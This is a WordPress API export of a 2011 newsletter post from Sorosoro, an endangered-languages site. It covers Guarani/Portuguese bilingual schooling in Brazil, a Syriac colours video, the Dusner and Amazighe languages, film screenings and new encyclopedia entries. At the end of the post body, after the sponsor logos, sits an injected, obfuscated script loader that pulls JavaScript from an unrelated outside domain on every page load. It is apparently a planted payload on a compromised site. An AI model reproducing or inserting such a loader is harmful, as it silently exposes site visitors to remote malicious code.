{"id":47026,"date":"2011-05-04T16:42:03","date_gmt":"2011-05-04T14:42:03","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=47026"},"modified":"2025-10-21T22:52:26","modified_gmt":"2025-10-21T20:52:26","slug":"may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/","title":{"rendered":"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more!"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">After having looked, in a <a href=\"http:\/\/blog.sorosoro.org\/en\/guarani-monolingual-resistance-in-paraguay\">previous article<\/a>, at the very special position of <strong>Guarani<\/strong> in Paraguay, let&#8217;s see how <strong>Guarani\/Portuguese bilingual schooling<\/strong> has been introduced in <strong>Brazil<\/strong>, under very different circumstances\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/a-bilingual-guaraniportuguese-school-experience-brazil\">See Blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">New videos<\/h5>\n<p style=\"text-align: justify;\">Our little foray into <strong>Aramaic languages<\/strong> is coming to an end this week! And for our last video with <strong>Father Yakup Aydin<\/strong>, priest of the Syriac Orthodox church of Antakya in France,   we learn <strong>colours in Syriac<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/colours-in-syriac\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">News<\/h5>\n<p style=\"text-align: justify;\">Scholars from <strong>Oxford<\/strong> have undertaken to document the <strong>Dusner<\/strong> language, with only 3 speakers left in <strong>Papuasia<\/strong>, nearly wiped out by recent natural disasters.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/april-21-2011-articles-on-the-dusner-language-spoken-by-3-last-speakers\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">Algerian daily <strong><em>El Watan<\/em><\/strong> warns on <strong>\u00ab collapse \u00bb of education in Amazighe language<\/strong>, although promoted since 1980.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/april-27-2011-algerian-daily-el-watan-warns-on-%C2%AB-collapse-%C2%BB-of-education-in-amazighe-language\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>May 1st, 2011<\/strong>: France 5 broadcasted, and will broadcast again in the following weeks, a documentary on and by <strong>Yawalapiti<\/strong> <strong>Indians<\/strong> : \u00ab\u00a0<strong>Kuarup, the joy of the sun<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-1st-2011-france-5-to-broadcast-the-movie-kuarup-on-the-yawalapiti-indians\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>May 3, 2011<\/strong>: Screening in Paris of Australian film \u00ab <strong>Contact \u2013 The day the white man came<\/strong> \u00bb, on the <strong>1964<\/strong> encounter of an <strong>Australian government expedition<\/strong> with the <strong>Martu<\/strong>, in the western part of the country.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/tuesday-may-3-2011-screening-of-australian-film-%C2%AB-contact-%E2%80%93-the-day-the-white-man-came-%C2%BB-paris\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\">Our \u00ab Language Encyclopaedia \u00bb is home to <strong>4 new language description sheets<\/strong>:<\/p>\n<p style=\"text-align: justify;\">One language from <strong>Mexico<\/strong> : <a href=\"https:\/\/www.sorosoro.org\/en\/ayapaneco\"><strong>Ayapaneco<\/strong><\/a>, the two last speakers of which were the subject of an <a href=\"https:\/\/www.sorosoro.org\/en\/april-13-%C2%AB-language-at-risk-of-dying-out-%E2%80%93-the-last-two-speakers-aren%E2%80%99t-talking-%C2%BB-the-guardian\">article last week<\/a>.<\/p>\n<p style=\"text-align: justify;\">Two languages from <strong>Brazil<\/strong> : <a href=\"https:\/\/www.sorosoro.org\/en\/xokleng\"><strong>Xokleng<\/strong><\/a>, of the J\u00ea family, and <a href=\"https:\/\/www.sorosoro.org\/en\/xeta\"><strong>Xeta<\/strong><\/a>, a critically endangered Guarani language with only 3 speakers left.<\/p>\n<p style=\"text-align: justify;\">One <strong>Australian<\/strong> language from Queensland, critically endangered as well : <a href=\"https:\/\/www.sorosoro.org\/en\/wargamay\"><strong>Wargamay<\/strong><\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">And as always\u2026<\/h5>\n<p style=\"text-align: justify;\">A new <strong><a href=\"https:\/\/www.sorosoro.org\/en\/to-speak\">word of the fortnight<\/a><\/strong> is awaiting your numerous translations : \u00ab\u00a0<strong>To speak <\/strong>\u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro Team<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog After having looked, in a previous article, at the very special position of Guarani in Paraguay, let&#8217;s see how Guarani\/Portuguese bilingual schooling has been introduced in Brazil, under very different circumstances\u2026 See Blog New videos Our little foray into Aramaic languages is coming to an end this week! And for our last video with [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-47026","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more! - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more! - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog After having looked, in a previous article, at the very special position of Guarani in Paraguay, let&#8217;s see how Guarani\/Portuguese bilingual schooling has been introduced in Brazil, under very different circumstances\u2026 See Blog New videos Our little foray into Aramaic languages is coming to an end this week! And for our last video with [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-04T14:42:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:52:26+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more!\",\"datePublished\":\"2011-05-04T14:42:03+00:00\",\"dateModified\":\"2025-10-21T20:52:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\"},\"wordCount\":286,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\",\"name\":\"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-05-04T14:42:03+00:00\",\"dateModified\":\"2025-10-21T20:52:26+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more! - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/","og_locale":"en_US","og_type":"article","og_title":"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more! - Sorosoro","og_description":"Blog After having looked, in a previous article, at the very special position of Guarani in Paraguay, let&#8217;s see how Guarani\/Portuguese bilingual schooling has been introduced in Brazil, under very different circumstances\u2026 See Blog New videos Our little foray into Aramaic languages is coming to an end this week! And for our last video with [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/","og_site_name":"Sorosoro","article_published_time":"2011-05-04T14:42:03+00:00","article_modified_time":"2025-10-21T20:52:26+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more!","datePublished":"2011-05-04T14:42:03+00:00","dateModified":"2025-10-21T20:52:26+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/"},"wordCount":286,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/","name":"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-05-04T14:42:03+00:00","dateModified":"2025-10-21T20:52:26+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/may-2-2011-learn-colours-in-syriac-read-about-guarani-portuguese-bilingual-schooling-in-brazil-and-much-more\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"May 2, 2011 : Learn colours in Syriac, read about Guarani\/Portuguese bilingual schooling in Brazil, and much more!"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/47026","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=47026"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/47026\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=47026"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=47026"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=47026"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}